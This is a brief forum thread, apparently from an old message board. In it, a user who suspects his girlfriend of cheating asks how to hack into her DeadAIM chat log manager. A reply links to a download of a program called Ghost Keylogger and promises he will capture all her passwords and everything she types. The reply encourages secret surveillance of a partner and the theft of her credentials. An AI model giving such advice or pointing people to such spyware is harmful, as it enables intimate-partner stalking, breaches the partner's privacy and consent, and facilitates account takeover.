Is there a way to hack into someone's dealAIM log manager

I am getting an odd suspicion my gf is cheating on me...is there a way to hack into her deadAIM log manager?

try using this to see what she is saying in AIM when she is on....

http://www.mikesmpegs.com/Software/Ghost%20Keylogger%20V3.40%20(Key%20Logger).zip]Keylogger

its a keylogger program youll get all her passwords and everything she types.